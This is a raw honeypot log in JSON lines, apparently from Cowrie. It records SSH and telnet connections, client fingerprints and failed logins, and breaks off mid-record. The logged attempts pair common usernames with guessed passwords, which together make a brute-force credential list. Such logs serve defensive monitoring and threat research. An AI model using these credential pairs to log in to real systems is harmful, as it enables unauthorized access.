{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:51.873487Z","src_ip":"27.79.5.10","session":"070e51338a91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:56.709209Z","src_ip":"27.79.5.10","session":"070e51338a91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.0","message":"Connection lost after 12.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:08:58.172608Z","src_ip":"27.79.5.10","session":"070e51338a91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":39150,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d5e47b098b5","protocol":"ssh","message":"New connection: 2.57.122.210:39150 (159.203.135.109:22) [session: 7d5e47b098b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:44.113617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:44.117247Z","src_ip":"2.57.122.210","session":"7d5e47b098b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:44.220945Z","src_ip":"2.57.122.210","session":"7d5e47b098b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz!QAZ2wsx@WSX","message":"login attempt [ubuntu/1qaz!QAZ2wsx@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:44.627230Z","src_ip":"2.57.122.210","session":"7d5e47b098b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:45.733757Z","src_ip":"2.57.122.210","session":"7d5e47b098b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":39268,"dst_ip":"10.17.0.5","dst_port":22,"session":"936655022657","protocol":"ssh","message":"New connection: 200.225.246.102:39268 (10.17.0.5:22) [session: 936655022657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:54.308796Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:54.311812Z","src_ip":"200.225.246.102","session":"936655022657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:54.443226Z","src_ip":"200.225.246.102","session":"936655022657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oracle","password":"111111","message":"login attempt [oracle/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:55.007082Z","src_ip":"200.225.246.102","session":"936655022657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:09:56.141818Z","src_ip":"200.225.246.102","session":"936655022657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53010,"dst_ip":"159.203.135.109","dst_port":22,"session":"e8b39d87758b","protocol":"ssh","message":"New connection: 195.178.110.218:53010 (159.203.135.109:22) [session: e8b39d87758b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:10:24.036330Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:10:24.041252Z","src_ip":"195.178.110.218","session":"e8b39d87758b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:10:24.121279Z","src_ip":"195.178.110.218","session":"e8b39d87758b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:10:24.361310Z","src_ip":"195.178.110.218","session":"e8b39d87758b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:10:25.442999Z","src_ip":"195.178.110.218","session":"e8b39d87758b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"305.9","message":"Connection lost after 305.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:10:45.547870Z","src_ip":"106.74.128.226","session":"f0e48913adab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":41856,"dst_ip":"159.203.135.109","dst_port":22,"session":"018423da3fb3","protocol":"ssh","message":"New connection: 2.57.122.210:41856 (159.203.135.109:22) [session: 018423da3fb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:01.041427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:01.047093Z","src_ip":"2.57.122.210","session":"018423da3fb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:01.151308Z","src_ip":"2.57.122.210","session":"018423da3fb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz2wsx3edc","message":"login attempt [ubuntu/1qaz2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:01.474623Z","src_ip":"2.57.122.210","session":"018423da3fb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:02.580703Z","src_ip":"2.57.122.210","session":"018423da3fb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":47452,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d3dfcf99fbd","protocol":"ssh","message":"New connection: 200.225.246.102:47452 (10.17.0.5:22) [session: 0d3dfcf99fbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:09.102334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:09.110861Z","src_ip":"200.225.246.102","session":"0d3dfcf99fbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:09.238240Z","src_ip":"200.225.246.102","session":"0d3dfcf99fbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"diego","password":"Diego123!","message":"login attempt [diego/Diego123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:09.782808Z","src_ip":"200.225.246.102","session":"0d3dfcf99fbd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:10.913626Z","src_ip":"200.225.246.102","session":"0d3dfcf99fbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":33286,"dst_ip":"10.17.0.5","dst_port":22,"session":"df2f867a0a28","protocol":"ssh","message":"New connection: 27.79.5.10:33286 (10.17.0.5:22) [session: df2f867a0a28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:19.915449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:19.979887Z","src_ip":"27.79.5.10","session":"df2f867a0a28","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:20.255637Z","src_ip":"27.79.5.10","session":"df2f867a0a28","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"squid","password":"squid","message":"login attempt [squid/squid] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:21.569433Z","src_ip":"27.79.5.10","session":"df2f867a0a28","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:12:23.394520Z","src_ip":"27.79.5.10","session":"df2f867a0a28","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.245.135.253","src_port":44966,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6491d4094cd","protocol":"telnet","message":"New connection: 117.245.135.253:44966 (159.203.135.109:23) [session: e6491d4094cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:02.662130Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":37964,"dst_ip":"10.17.0.5","dst_port":22,"session":"84a37c7e59e7","protocol":"ssh","message":"New connection: 2.57.121.25:37964 (10.17.0.5:22) [session: 84a37c7e59e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:11.952620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:13:11.956892Z","src_ip":"2.57.121.25","session":"84a37c7e59e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu